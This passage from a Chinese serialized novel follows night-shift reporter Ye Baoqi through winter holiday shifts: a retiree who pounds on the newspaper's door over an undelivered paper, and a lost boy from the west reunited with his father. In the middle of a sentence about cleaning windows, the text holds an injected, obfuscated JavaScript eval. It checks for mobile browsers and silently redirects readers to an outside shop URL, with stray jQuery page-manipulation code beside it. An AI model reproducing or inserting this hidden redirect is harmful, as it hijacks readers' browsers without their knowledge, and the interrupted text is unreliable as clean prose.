天亮时，雪停了。世界被重新粉刷过，一切肮脏和丑陋暂时被掩埋。叶葆启骑车回家，车轮轧过雪地，发出“咯吱咯吱”的声音，那声音很清脆，像在咬脆萝卜。 胡同里，早起的人们在扫雪。扫帚划过地面的声音“沙沙”响，和夜里雪打窗户的声音很像，但一个是开始，一个是结束。 回到家，素琴正在蒸馒头。铝锅盖被蒸汽顶得“噗噗”响，锅沿喷出的白汽让厨房像个仙境。麦香弥漫，那是人间最扎实的香味。 “回来了？”素琴掀开锅盖，雾气“呼”地涌出来，模糊了她的脸，“洗把脸，趁热吃。今天馒头里掺了玉米面，黄白相间，好看。” 叶葆启洗了脸，水很凉，激得他打了个哆嗦。坐到桌前，素琴端上馒头、咸菜丝、小米粥。咸菜丝切得极细，淋了香油；小米粥熬出了米油，表面结着一层薄皮。 他咬了口馒头，暄软，有嚼劲，玉米面的甜和麦香的醇在口腔里混合。 “昨晚又遇见怪事了？”素琴问，往他碗里夹了块酱豆腐。 叶葆启把国佳和醉汉的事说了。素琴听了，手里擦着灶台，抹布在瓷砖上画着圈：“现在这样的人真多。街道办马凯主任说，他们那儿每天都有来诉苦的，有的能解决，有的就是心里长了荒草，锄不净。” “你说，我骗国佳，对不对？” 素琴停下来，抹布攥在手里，水滴到地上：“你是为他好。真话像刀子，有时候会要人命；假话像绷带，虽然治不了伤，但能止血。做人不能光讲对不对，还得讲该不该。” 叶葆启没说话，慢慢喝着粥。粥很烫，烫得舌尖发麻。 小舟醒了，光着脚从里屋跑出来，脚丫踩在地上“啪啪”响：“下雪了！世界变成棉花糖了！” “穿鞋！”素琴赶紧给他套上棉鞋，棉鞋是虎头样的，虎眼睛是两个黑扣子。 小舟趴在窗台上看雪，脸贴在玻璃上，压得扁扁的，像一张饼：“爸爸，雪是什么味道？” “你尝尝就知道了。”叶葆启说。 小舟真跑到院里，捧起一捧雪，伸出粉色的舌头舔了舔：“凉凉的，有点甜，像偷吃的白糖。” 叶葆启笑了。孩子的舌头是干净的，能尝出雪本来的味道。 吃过早饭，叶葆启躺下睡觉。却睡不着，眼皮闭着，但眼球在下面转动，转出一幅幅画面：国佳练习“金刚罩”时虔诚的脸，老邹哭时那张皱得像抹布的脸，还有父亲——父亲在国棉厂门口和那个疯女工说话，阳光照在他们身上，把他们的影子拉得很长，长得能碰到厂墙外的那条河。 他起身，从抽屉里拿出一个信封。信封是郭熠轩送锦旗时一起送来的，里面有两张照片。一张是郭熠轩在保安室值班，站得笔直，像一棵树；另一张是他和工友的合影，七八个人挤在镜头里，都笑着，露出白牙，那白在黑白照片里显得特别亮。 叶葆启看了会儿，把照片放回去。抽屉里还有别的东西：一支旧钢笔，笔帽裂了，用胶布缠着；几张粮票，已经作废了，但舍不得扔；一本1978年的《新华字典》，扉页上有父亲的签名。 他躺回去，这次睡着了。梦里没有电话铃声，只有雪，静静地下。雪覆盖了屋顶、街道、河流，覆盖了所有的哭声和笑声，把世界还原成一张白纸。 醒来时，已是傍晚。夕阳从西窗照进来，把屋子染成橘红色。素琴在做晚饭，炝锅的“刺啦”声和葱花的香味一起飘进来。小舟在写作业，铅笔在纸上沙沙地响，那声音很轻，像春蚕吃桑叶。 叶葆启坐起来，发了会儿呆。然后下床，走到院里。 雪已经化了大部分，地上湿漉漉的，像刚哭过的脸。残留的雪堆在墙角，脏兮兮的，但顶上是干净的白色，倔强地白着。夕阳西下，天边一片火烧云，云的形状像一群奔跑的野兽，像翻滚的麦浪，也像——他眯起眼睛——像一只巨大的手，正在慢慢握拢。 他深吸一口寒冷的空气，空气里有煤烟味、饭菜香，还有远处飘来的小提琴声，兴许是对过儿院子里叫赵同的那个孩子在拉《流浪者之歌》，那曲子弯弯曲曲，像一条冻僵的河。 夜晚还会来临。电话还会响，会有新的人带着新的苦痛和荒诞走进这间值班室。但此刻，在这短暂的、琥珀般的安宁里，他感到一种深深的平静。 虽然这平静薄如蝉翼，虽然它注定要被下一个夜晚刺破。 但此刻，它就是全部。 6. 第006章 夜半叩门人 腊月二十三，小年的夜，是被炖肉香气腌透了的。那香气有脚，在胡同里慢悠悠地走，踩着谁家窗台挂的干辣椒串，惊起几只麻雀，扑棱棱飞进靛青的暮色里。鞭炮声是冷不丁炸响的——啪！接着便是一串琉璃珠子似的笑声，滚过结了薄冰的地面。 叶葆启值下半夜的班。晚十一点到报社时，门卫张大爷正对着一碟花生米独酌。花生米炸得焦黄，在十五瓦灯泡下泛着油光，像一排排小棺材，装殓着最后的香气。 “葆启，来一口？驱驱寒。”张大爷的舌头被酒泡得有些大，话在嘴里滚了几个来回才吐出来。 “不了张大爷，还得值班。”叶葆启笑笑，呵出的白气在寒夜里开成一朵昙花，瞬间败了。 “今儿小年，也不歇歇？”张大爷用两根手指——那手指粗得像胡萝卜——拈起几颗花生米，递过来时，叶葆启看见他指甲缝里嵌着黑泥，是岁月的沉淀。 叶葆启接过，剥了吃。花生衣粘在舌尖上，涩涩的，像日子本身。“干咱们这行，没年没节。” 上楼时，楼道里静得能听见自己的心跳。那心跳声被墙壁放大，咚咚，咚咚，像是谁在远处敲着一面蒙了牛皮的鼓。其他部门都灭了灯，只有群工部的灯还亮着——昏黄的一团，从门缝里渗出来，在地上淌成一条浅浅的河。 推开门，解平生已经在了。他正守着铁炉子烤红薯，佝偻的背影在墙上投出巨大的影子，那影子随着炉火跳动，一忽儿长，一忽儿短，像个不安分的魂。 “葆启，快来，红薯快好了。”解平生头也不回，用火钳翻动着。那火钳是黑的，尖头却烧得发白，像野兽的牙齿。 炉子上的红薯烤得表皮焦黑，裂开一道道口子，露出里面金黄的瓤。热气从裂缝里钻出来，带着甜香，那香气稠得像蜜，黏在人的鼻腔里不肯走。叶葆启搬了椅子坐下，两人就着炉火剥红薯。红薯瓤烫手，他们便倒着手吹气，像捧着两团小小的、滚烫的太阳。 “真甜。”叶葆启说。甜味从舌尖一直滑到胃里，暖意便从胃里生出来，沿着血管往四肢走。 “老家带来的，红心薯。”解平生吃得满手黑，那黑色钻进掌纹里，像写满了命运的密语，“小时候，冬天就盼着烤红薯。用柴火灰煨的，比这香。” 正吃着，电话响了。铃声在深夜里格外刺耳，像一把锥子扎进寂静里。解平生接起来：“你好，夜间记者站……哦，李大姐，您慢慢说……” 是个老太太，说楼上夫妻吵架，摔东西，吓得她心脏病要犯了。解平生记录，然后给派出所打电话。他的声音在电话线里变得扁平，失了厚度，像纸片人在说话。处理完，红薯也凉了，表皮结了一层糖霜似的硬壳。 “这年过的，”解平生摇头，摇落几缕灰白的头发，那头发飘进炉火里，滋啦一声，化作青烟，“都不消停。” “越是年节，事越多。”叶葆启把红薯皮扔进炉子，火焰猛地蹿高，舔舐着那黑色的残骸，发出满足的叹息，“心里憋屈，借酒浇愁，一喝多就闹事。酒是胆，也是祸。” 凌晨一点，没什么事了。解平生靠在椅背上打盹，眼皮渐渐沉下去，像两扇被雨水泡胀的旧门。叶葆启翻开一本《内海市志》，看得很入神。书页泛黄，边缘卷起，像秋天梧桐的叶子。他喜欢看地方志，那里面记录着这座城市的前世今生——哪条街原来是什么，哪座桥是谁建的，哪个名人在这里住过。字是铅印的，摸上去有微微的凸起，像土地的脉搏。 正看到“河浮桥”那章，突然，楼下传来“咣咣”的砸门声。 那声音不是敲，是砸。是用整个身体在撞，是用全部的生命在抗议。很响，很急，一声接一声，像要把铁门砸碎，要把这沉沉的夜砸出一个窟窿来。 解平生惊醒，眼睛睁开的刹那，瞳孔里还残留着梦的碎片：“怎么了？” 叶葆启放下书，走到窗边往下看。楼下大门口，一个老人正在用拳头砸铁门。路灯把他的影子拉得很长，长得越过马路，爬上对面的墙。老人边砸边喊：“开门！里面有人吗！” 声音苍老，像枯树枝在风里摩擦，但中气十足，每个字都砸在地上，能砸出坑来。 “我去看看。”叶葆启说。 “小心点，万一是个疯子。”解平生也站起来，把火钳握在手里——那火钳此刻成了武器，尖头闪着寒光。 两人下楼。楼梯是水泥的，踏上去有空洞的回响，像走在什么巨兽的腔子里。张大爷已经开了门，老人冲进来，身后还跟着几个中年男女，都怒气冲冲的，脸在灯光下扭曲成奇怪的形状。 “记者在哪儿？”老人进门就问，直往楼梯口走。他的脚步很重，每一步都像是要把地板踩穿。 “老爷子，您找哪位记者？”张大爷拦住后面的人，手臂张开，像一只护巢的老母鸡。 “我找值班记者！”老人不回头，噔噔噔往楼上走。他的背挺得笔直，像一杆旗，一面就要被风扯破的旗。 叶葆启和解平生在楼梯口迎上。老人看见他们，眼睛一亮——那亮不是灯火的亮，是火星子，是就要熄灭的炭火在风里最后的挣扎。他没走直线，而是绕了个弧线，边走边从腰间掏东西。 解平生脸色一变，挡在叶葆启前面。叶葆启也紧张起来——这架势，像要掏凶器。他能听见自己的心跳，咚咚，咚咚，擂鼓似的。 老人终于掏出来了——不是刀，不是棍，是一张卡片。他举到叶葆启面前，手在颤抖，那颤抖传到卡片上，卡片便也跟着抖，像一片风中的叶子。 “看看！看看！”老人说，每个字都带着唾沫星子，喷在叶葆启脸上，热烘烘的。 叶葆启接过，是张“老年优待证”，街里发的。照片上的老人皱着眉，很严肃，眼神里有种不容置疑的东西，像审判。 “老爷子，您有什么事？”叶葆启尽量温和，声音放软，像哄孩子。 老人不回答，只是喘着粗气。那喘息声很重，拉风箱似的，从喉咙深处扯出来。他的脸色煞白，白得像糊窗户的纸，能透出后面青色的血管来。后面的中年男女跟上来了，一个中年女人说：“记者同志，对不起，我爸他……” “你闭嘴！”老人回头吼了一句，那吼声像闷雷，在楼梯间里滚来滚去。然后他盯着叶葆启，眼睛睁得很大，眼白上布满了血丝，像一张破渔网，“我问你，今天的《内海都市报》，为什么没给我送？” 叶葆启一愣：“没送报纸？” “对！没送！”老人声音更大了，震得楼梯间的灰尘簌簌往下落，“我从下午等到晚上，报箱空的！一天不看报，我浑身难受！像有蚂蚁在骨头里爬！” 解平生松了口气，笑了——那笑是从喉咙深处挤出来的，干巴巴的：“老爷子，就为这个？” “就为这个？”老人瞪眼，眼珠子几乎要从眼眶里蹦出来，“这是大事！我订了二十年报，一天没落过！二十年啊，七千三百天！今天为什么没送？为什么？” 叶葆启明白了。这是个老读者，把看《内海都市报》当成了生活的一部分，一天不看，就像缺了什么——不是缺了报纸，是缺了一天，缺了生命中的二十四小时。那报纸是他和世界的脐带，一天不连通，他就成了孤岛。 “老爷子，您别急。”叶葆启说，“我这儿有今天的报，给您一份。” 他回到办公室，从桌上拿起自己那份晚报——还没来得及看。纸还是温的，油墨味儿钻进鼻孔，是熟悉的、让人安心的味道。 递给老人。 老人接过，双手捧着，像捧着一件圣物。他翻开，看了看日期，又看了看头版标题，嘴唇翕动着，无声地念着什么。然后他长出一口气，那口气很长，把身体里的紧张、愤怒、不安都吐了出来。脸色缓和了，像解冻的土地，有了些许生气。 “谢谢。”他说，居然抬手敬了个礼，很标准，手臂绷得笔直，指尖贴在斑白的鬓角上。那姿势里有种庄严的东西，让人想起仪式，想起誓言。 然后转身就走，干脆利落，像完成了什么重大使命。中年男女们赶紧跟上，脚步杂乱，像一群受惊的麻雀。 一行人下了楼。叶葆启和解平生从窗户往下看，见老人被扶上一辆面包车。车是银灰色的，在路灯下像一条疲倦的鱼。车门关上，发动，尾灯亮起两点红，慢慢游进夜色深处。 “这老爷子，”解平生摇头笑，笑纹从眼角漾开，像石子投入死水，“够厉害的。” “是个认真的人。”叶葆启说。他想，认真到偏执，偏执到可爱，可爱到可敬。 张大爷上来了，手里还端着那碟花生米，不过已经凉了，油凝在表面，白花花的一层。“问清楚了。老爷子姓姜，退休干部，住海西区。今天投递员漏送了，老爷子晚饭都没吃，把儿子闺女都叫来，非要来报社问个明白。说这是原则问题，不能含糊。” “投递员为什么漏送？” “说是新手，不熟悉路线。”张大爷往嘴里扔了颗花生米，嚼得嘎嘣响，“已经批评了，明天补送。可老爷子等不及啊，说今天的事今天必须了。老了老了，倒活回去了，像个孩子。” 叶葆启点点头，回到桌前。他翻开值班本——那本子已经很旧了，边角卷起，纸页发黄，记录了多少个不眠之夜？他拿起笔，笔尖在纸上沙沙作响，像春蚕食叶： “1月17日凌晨1时20分，姜姓老人因未收到当日《内海都市报》来社反映。情绪激动。经协调，补送报纸。老人满意离开。” 写到这里，他停笔想了想。一天没收到报纸，就半夜砸门，这听起来有些夸张，像戏文里的故事。但换个角度想，一个老人，把看报当成了每天的精神寄托，这份坚持，这份认真，难道不值得尊重吗？在这个什么都讲究“差不多”的时代，这种“差一点也不行”的劲头，反倒成了稀罕物。 他在后面加了一句，用力地写，笔尖几乎要划破纸背： “读者对报纸的信任，是我最大的财富。那信任薄如纸，却重如山。” 写完，他看看表，凌晨两点。炉火弱了，只剩下一团暗红的心子，在灰白的煤渣里苟延残喘。屋里冷下来，冷气从脚底往上爬，像藤蔓，缠住人的腿、腰、胸，最后扼住喉咙。他添了块煤，煤块滚进炉膛，惊起一片火星，那火星子飞舞着，像夏夜的萤火虫，转瞬即逝。 然后倒了杯热水，慢慢喝。水很烫，烫得舌尖发麻，但烫得舒服，烫得让人确信自己还活着。 解平生已经睡着了，发出轻微的鼾声。那鼾声有节奏，一起一伏，像潮水。叶葆启没有睡意，他翻开《内海市志》，继续看“河浮桥”那章。 原来，河上最早没有桥，只有浮桥——用船连起来，铺上木板，人车通行。每年开春，冰化了，桥就要拆；冬天，冰封了，桥又要搭。如此反复，几十年。那些船是旧的，木板是烂的，走上去吱呀作响，像老人的关节在呻吟。可就是这座浮桥，连接了河东河西，连接了无数人的生老病死、悲欢离合。 后来有了铁桥，又有了水泥桥。浮桥消失了，只留在老人的记忆里，像一道褪色的疤痕。 叶葆启想，姜老爷子看报，是不是也像守着一座桥？一座连接他和外部世界的桥？一天不通，就心里发慌，觉得自己被遗弃了，被隔绝了，成了孤岛上的鲁滨逊，只能对着海浪发呆。 凌晨三点，电话又响了。铃声在寂静里格外刺耳，像一根针扎进耳膜。叶葆启接起来，是个年轻女子，哭哭啼啼的，说丈夫打她。她的哭声很破碎，像摔碎的瓷器，一片片的，扎人。叶葆启记录，联系妇联值班室。处理完，天快亮了。 东方的天空开始泛白，那白很淡，像稀释了的牛奶，从藏青的底子上慢慢渗出来。然后变成鱼肚白，又渐渐染上淡淡的橘红——那红很羞涩，只敢在天边抹上一小道，像姑娘脸上的胭脂。城市醒来了，远处传来洒水车的音乐声——是《茉莉花》，悠扬的，在清晨的空气里飘荡，洗去夜的污浊。 七点，白班的同事来了。他们的脸是新鲜的，带着睡眠充足的饱满，像刚出炉的面包。叶葆启交班，骑车回家。车轮碾过路面，发出沙沙的声响，像蚕在食桑。 小年的早晨，胡同里格外热闹。家家户户扫房，擦玻璃，贴窗花。灰尘在阳光里飞舞，金色的，像细碎的金箔。孩子们穿着新衣，跑来跑去，口袋里装着糖，嘴里含着，腮帮子鼓鼓的，说话都含混不清。 回到家，素琴正在扫房。她头上包着毛巾，蓝底白花的，像个村妇。笤帚在她手里舞动，扬起灰尘，那些灰尘在从窗户斜射进来的阳光里起舞，像一场微型的风暴。 “回来了？”素琴放下笤帚，抹了把额头的汗，汗珠在阳光下亮晶晶的，“锅里有豆浆。” 叶葆启喝了豆浆，吃了油条。豆浆是热的，顺着食道滑下去，暖了整个胸腔。小舟醒了，穿着新棉袄，红彤彤的，像个小福娃，又像一团火，能把人的心都烤暖了。 “爸爸，今天小年，咱们吃糖瓜吗？”小舟问，眼睛亮亮的，映着窗外的天光。 “吃，一会儿去买。”叶葆启摸摸儿子的头，头发软软的，像春天的草。 素琴扫完房，开始擦玻璃。叶葆启帮忙，两人一里一外，配合默契。湿抹布在玻璃上划出弧线，水渍流淌，像眼泪。擦到一半，素琴忽然说：“葆启，你说怪不怪，昨天街道办也来了个老人，因为没收到报纸，闹了一下午。” “哦？” “姓姜，退休干部，住海西。”素琴说，手里的抹布停下来，水珠一滴一滴往下掉，砸在窗台上，开出小小的水花，“投递员漏送了，老人找到街道，非要我们给说法。我们说这不归我们管，老人不听，坐那儿不走。后来他儿子来接，才劝走。走的时候还念叨：‘规矩就是规矩，定了就要守。’” 叶葆启笑了，笑纹从嘴角漾开：“我昨晚也遇见他了。” 他把半夜砸门的事说了，说得仔细，连老人敬礼的姿势都描述了。素琴听了，又气又笑，手里的抹布攥紧了，水滴滴答答往下淌：“这老爷子，可真够犟的。一根筋，认死理。” “他是把看报当成了大事。”叶葆启说，手指在玻璃上画着无形的图案，“咱们觉得小题大做，可对他而言，这就是生活的一部分，是仪式，是信仰。没了这份报纸，他的一天就不完整，就像……就像饺子没了馅，只剩皮。” 玻璃擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904158|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完了，亮堂堂的，能照见人影。叶葆启看着窗玻璃里的自己——眼袋很重，像两个小小的口袋，装满了疲惫；脸色有些苍白，像褪了色的纸；但眼睛还亮着，那点亮是从深处透出来的，是火种，还没熄灭。 “葆启，”素琴说，声音忽然软下来，像化开的糖，“你最近瘦了。” “是吗？” “下巴都尖了。”素琴伸手摸摸他的脸，手指粗糙，有茧，但很暖，“夜班太熬人。黑夜是口井，掉进去就难爬上来。要不跟领导说说，调调？” “不用。”叶葆启握住她的手，那手很小，被他整个包住，“我撑得住。再说了，夜班有夜班的好，清静，能想事。” 中午，他们包饺子。素琴和面，面粉飞扬，像细雪。叶葆启调馅，猪肉白菜，加了点虾皮，用筷子顺着一个方向搅，搅出黏性，搅出香味。小舟擀皮——虽然擀得歪歪扭扭，薄厚不均，但很认真，小脸绷着，鼻尖沁出汗珠。 包着饺子，叶葆启忽然说：“素琴，等咱们老了，会不会也像姜老爷子那样，因为一点小事就较真？比如报纸没送，比如电视信号不好，比如孙子没来电话？” “可能吧。”素琴捏着饺子边，手指灵巧地一捏一折，一个元宝似的饺子就成了，“人老了，世界就小了。原来在意的大事，渐渐不在意了；原来不在意的小事，反而成了大事。因为大事离得远，够不着了；小事就在手边，成了全部。” “比如？” “比如今天有没有收到报纸，比如阳台的花开没开，比如孙子来不来电话。”素琴把包好的饺子码在盖帘上，一圈一圈，像盛开的花，白色的花，在竹篾上静静绽放，“这些小事，就是老人生活的全部。它们不是小事，是坐标，是锚点，确认自己还在这个世界上，还没有被彻底遗忘。” 叶葆启沉默了。他想起了父亲。父亲最后那几年，每天就做几件事：看报，听广播，浇花，等他们兄妹回家。有一次，叶葆启忙，两周没回去，父亲没说什么，但母亲后来告诉他，父亲那两周，每天下午都坐在门口，望着胡同口。太阳把他的影子拉得很长，长得像一条路，一条通往虚无的路。 “爸等谁呢？”叶葆启问。 “等你呗。”母亲说，手里的针在头发上蹭了蹭，继续纳鞋底，“又不说，就干等。等到太阳落山，影子没了，才慢慢挪回屋。” 从那以后，叶葆启再忙，每周也要回去一趟。哪怕只坐半小时，说几句话。那半小时对父亲而言，是一周的盼头，是沙漠里的绿洲。 饺子下锅了，翻滚着，白白胖胖的，像一群戏水的白鹅。捞出来，热气腾腾，蘸着醋和蒜泥，一口一个，满嘴香。小舟吃得满脸都是，醋汁顺着下巴往下淌，素琴笑着给他擦脸，手指温柔，像拂去花瓣上的露珠。 吃完饭，叶葆启躺下睡觉。却睡不着，脑子里还是周老爷子那张愤怒的脸，还有父亲坐在门口等待的背影。两张脸叠在一起，渐渐模糊，变成一个象征——所有老人的象征，所有在时间河流边等待的象征。 他起身，拿出采访本——那本子比值班本更旧，页角卷得像秋天的叶子。他拧开笔帽，笔尖悬在纸上，犹豫了片刻，然后落下： “1993年1月17日。小年夜。姜姓老人因未收到报纸，半夜砸门。看似小事，实为大事——对老人而言，一份报纸，是一天生活的锚，是连接世界的脐带。脐带断了，便是孤岛。 我想起父亲。他晚年时，每天最重要的事就是等我们回家。我们觉得只是回家看看，对他来说，却是全部的期盼。那期盼有重量，压弯了他的脊梁，却撑起了他的日子。 人老了，世界就小了。小到一份报纸的送达，一个电话的铃声，一次子女的探望，都能牵动全部情绪。情绪是放大镜，把小事放大成山，把瞬间拉长成永恒。 作为记者，我记录过太多大事：工程事故、□□、自然灾害。但也许，真正重要的，是这些‘小事’——那些构成普通人日常的、微小的悲欢。它们是历史的毛细血管，不显眼，却遍布全身，输送着生活的血液。 素琴说得对，善良比真实更重要。对姜老爷子，一份报纸就是善良；对父亲，一次探望就是善良。善良是具体的，是一碗热汤，是一句问候，是一份准时送达的报纸。 今夜还有夜班。不知道又会遇到什么人，什么事。但我想，我会更耐心些。因为我知道，每一件看似荒诞的小事背后，都可能藏着一个老人全部的世界。那世界很小，小如芥子；也很大，大如须弥。 窗外天色渐暗，又要入夜了。夜是口井，但我愿意做井底的那只蛙，守着这一小片天，听每一滴落下的水声。那水声是故事，是人生，是无数个姜老爷子在时光里的回响。” 合上本子，他走到院里。天阴着，铅灰色的云低低地压下来，可能要下雪。邻居家的收音机开着，在播京剧，《空城计》，诸葛亮的唱腔悠长：“我本是卧龙岗散淡的人……”那声音穿过墙壁，穿过暮色，飘过来，带着岁月的包浆。此时此刻，隔壁院儿赵同的爷爷赵振鹏估计只张嘴不出声，跟着收音机里的声音唱起了“双簧京剧”。 他站着听了一会儿。雪花真的开始落了，很小，很轻，像谁在天上撕棉絮。一片雪花落在他的睫毛上，瞬间化了，凉意渗进眼睛里。 然后回屋，穿上外套。外套是深蓝色的，洗得发白，袖口磨出了毛边。 “又去值班？”素琴问，手里在织毛衣，毛线是枣红色的，在灯下泛着暖光。 “嗯。” “晚上包饺子，我给你留着。”素琴说，没抬头，手指飞快地动着，针尖闪着银光，“韭菜鸡蛋的，你爱吃。” “好。” 走出胡同，街上张灯结彩，已经有了年味。商店门口挂起了红灯笼，灯笼在风里摇晃，像一颗颗跳动的心脏。小贩在卖年画、春联、鞭炮。年画上的门神怒目圆睁，秦叔宝和尉迟恭，一左一右，守护着千家万户的平安。孩子们围着看，眼睛里闪着光，那光纯净，像清晨的露珠。 叶葆启骑上车，汇入车流。他知道，前方，报社大楼的灯火还在等着他。那灯火在夜色里，是一小团橘黄，是黑暗海洋里的灯塔。今夜，还会有电话，还会有人来访。电话铃会刺破寂静，来访者的脚步会在楼梯上响起空洞的回音。 但他不再觉得这是负担。因为每一个电话，每一次来访，都是一个故事，一段人生。而他，是这些故事的记录者，是这些人生的见证人。他的笔是刀，剖开生活的表皮，露出里面的血肉和筋骨；也是针，缝合那些破碎的，抚平那些褶皱的。 车轮碾过积雪融化后的湿漉漉的路面，发出沙沙的声响。这声响，和他笔尖在纸上的沙沙声，奇妙地重合在一起。都是记录。都是生活。生活是一条河，他是河上的摆渡人，渡人，也渡己。 雪下大了，雪花扑在脸上，凉丝丝的。他抬起头，看见无数雪花从无尽的黑暗中落下来，旋转着，舞蹈着，每一片都有自己的轨迹，最终却都落向大地，融进泥土，成为来年春天的水分。 就像每一个故事，每一个生命。 他蹬车的脚用力了些。前方的灯火，似乎更亮了些。 7. 第007章 迷路的男孩 腊月二十八的内海，街道在年关的重压下微微隆起，像一条撑得太饱的巨蟒。办年货的人流从每个门洞里涌出，手里拎着的猪头、活鱼、成捆的鞭炮，都成了这巨蟒腹中未消化的块垒。红灯笼在寒风里滴血似的晃着，孩子们试放鞭炮的噼啪声，听起来像是巨蟒关节在脆响。 叶葆启坐在群工部改成的“春节接待室”里，感觉自己成了这巨蟒的某一节脊椎。从早上八点开始，电话铃声就没停过，每一通都是一个疼痛的骨节在呐喊。老太太的年画被楼上漏下的水泡成了混沌的山水，中年男人买到的假茅台在电话里散发着虚构的酒香，失恋的小伙子声音里的裂缝比内海河冬天的冰面还要细密。 解平生坐在对面，用红蓝铅笔在值班表上画着谁也看不懂的符号。他说：“过年过的是人情的炼金术，可炼出来的多是废渣。” 中午时分，素琴提着饭盒来了。铝制饭盒在她手里冒着热气，盖子被蒸汽顶得轻轻跳动，像颗温热的心脏。她打开盖子，饺子整齐地排列着，每一个的褶皱都像是精心计算过的年轮。 “趁热。”素琴说，声音里也有蒸汽的湿润。 叶葆启刚夹起一个饺子，电话响了。那铃声尖锐得不像话，仿佛要刺穿耳膜。他放下筷子接起来，听到一个男人的声音，焦急得像在油锅里蹦跳的黄豆：“记者同志！节约桥底下！捡了个孩子！冻僵了！说话跟鸟叫似的！” 叶葆启和解平生对视一眼。解平生已经抓起军大衣，那件大衣在他手中展开时，扬起了一阵灰尘，灰尘在阳光里飞舞，像是时间的碎屑。 素琴看着他们匆匆离去的身影，低声说：“晚上包饺子，韭菜鸡蛋馅的。” 叶葆启回头看了一眼，素琴的脸在冬日苍白的光里，像一枚浸在米酒里的糯米团子。 节约桥横在内海北郊，是座老得牙齿松动的桥。桥下干涸的河床裸露着，像大地裂开的黑色牙龈。叶葆启他们赶到时，一群人围在那里，围成一个不规则的圆，像是某种古老的祭祀现场。 几个穿迷彩服的民警站在圆心，其中一个怀里抱着个孩子。孩子七八岁，裹在厚厚的棉袄里，头戴一顶少数民族的小花帽，帽子上的金线在灰暗的天光下，闪烁着微弱的神秘光泽。他闭着眼，睫毛长得不可思议，在冻得发红的脸颊上投下细密的阴影。 “解老师！”一个民警认出了解平生。解平生体院毕业后曾是他们教官，教他们如何用身体制服暴力，现在他们却要用身体温暖一个迷途的孩子。 民警把孩子抱进警车，打开暖气。热风从出风口涌出，带着铁锈和机油的味道。孩子在这气味中慢慢苏醒，睁开眼。他的眼睛是琥珀色的，深处有戈壁的风沙在盘旋。 他说了一串话，音节跳跃如溪涧中的卵石相撞。没人听得懂。 叶葆启蹲在车门口，看着这双眼睛。忽然，他想起自己十二岁那年，在老家见过的一匹小马驹。那小马驹也是这样的眼睛，清澈见底，却又深不见底。后来小马驹掉进山沟死了，眼睛被乌鸦啄食，只剩下两个空洞，里面住进了风声。 “找个翻译。”叶葆启说。 民警骑上三轮摩托走了。摩托的排气声在寒风中拉得很长，像一声痛苦的叹息。 等待的时间里，叶葆启从口袋里掏出一块糖。糖纸是红色的，已经被体温捂得发软。他剥开糖纸——那剥开的动作缓慢得近乎仪式——将糖递给孩子。 孩子看着他，犹豫了片刻，接过糖放进嘴里。他的眼睛眯了起来，那瞬间，叶葆启看见他眼中有整个塔克拉玛干的星空在闪烁。 翻译来了，是个叫买买提·艾力的西部男人。他的络腮胡子浓密得像一片黑森林，说话时，胡须随着音节颤动，仿佛那些话语是从胡须的根部生长出来的。 买买提钻进车里，用叶葆启听不懂的语言与孩子交谈。声音低沉而温柔，像在哄睡一个不安的灵魂。孩子哭了，泪水滚落，在冻红的脸上划出闪亮的轨迹。 “他叫阿迪力，意思是‘正义’。”买买提翻译道，“他跟爸爸来的，人太多，走散了。” “他爸爸呢？” “不知道。孩子只记得爸爸叫‘阿塔’，那是‘父亲’的意思。” 叶葆启看着孩子哭泣的脸，忽然想起父亲去世前的那个冬天。父亲躺在病床上，瘦得只剩一把骨头，却还在说：“葆启，过年了，要好好过。”什么叫好好过？父亲没说。现在他看着这个叫“正义”的迷失的孩子，似乎明白了些什么。 电话一个个打出去，每个电话都是一次投石问路，石沉大海。就在希望像夕阳一样即将沉没时，鸿运区丁沽街派出所回话了：有个西部男人报案丢了儿子，特征完全吻合！ 警车载着阿迪力驶向派出所。路上，叶葆启问买买提：“想家吗？” 买买提沉默了很长时间，长得足以让一辆马车从喀什走到乌鲁木齐。最后他说：“想。但这里的钱会变成喀什噶尔的馕，吐鲁番的葡萄，我妻子耳坠上的银月亮。” 叶葆启点点头。他理解这种变形记——他自己不也把青春变成了铅字，把理想变成了每月的工资条吗？ 丁沽街派出所里，阿不都·热合曼一见到儿子，整个人像被闪电劈开的胡杨，僵硬了一瞬，然后崩溃般扑上来。他抱住阿迪力，用叶葆启听不懂的话喊着一连串的词语，那些词语在空中碰撞、碎裂，变成金色的粉末洒落。 父子俩的泪水混在一起，分不清是谁的。叶葆启站在一旁看着，忽然感到眼眶发热。他想，眼泪大概是一种通用的语言，比任何字典都丰富。 阿不都用生硬的汉语道谢，握每个人的手。他的手粗糙得像戈壁滩上的石头，但温暖，那温暖透过皮肤，一直传到叶葆启的骨子里。 回程的路上，天色已晚。街边的灯笼都亮了起来，连成一条红色的河，在冬夜里缓缓流淌。解平生开着车，忽然说：“老叶，你相信命运吗？” 叶葆启看着窗外流淌的灯火：“以前不信。现在觉得，命运可能就是无数偶然串成的必然。” “像今天的相遇？” “像今天的相遇。” 平安胡同里，炖肉的香味浓得像实质的雾，包裹着每一个归家的人。叶葆启推开门，看见素琴正在剁肉馅。菜刀起落，在砧板上敲击出稳定的节奏，那节奏与他的心跳渐渐同步。 “回来了？”素琴没抬头，继续剁着。 “回来了。” “孩子找到了？” “找到了。” 素琴停下刀，抬头看他。她的眼睛在厨房昏黄的灯光下，像两口深井，井底有月亮。“那就好。”她说，又低头继续剁肉。 咚咚咚，咚咚咚。菜刀与砧板的对话，讲述着千百年来中国家庭最朴素的故事。 小舟举着糖葫芦跑进来，糖葫芦上的山楂红得发亮，像一颗颗微缩的太阳。“爸爸！姥姥说吃了糖葫芦，一年都甜！” 叶葆启抱起儿子，闻到他头发里有阳光和冰糖混合的味道。这味道让他突然很想哭，不知道为什么。 年夜饭摆上桌时，电视里的春节联欢晚会已经开始。红烧鲤鱼睁着空洞的眼睛望着天花板，四喜丸子圆滚滚地挤在盘子里，炖肘子皮上的油光映着灯影，颤巍巍的，像液态的黄金。 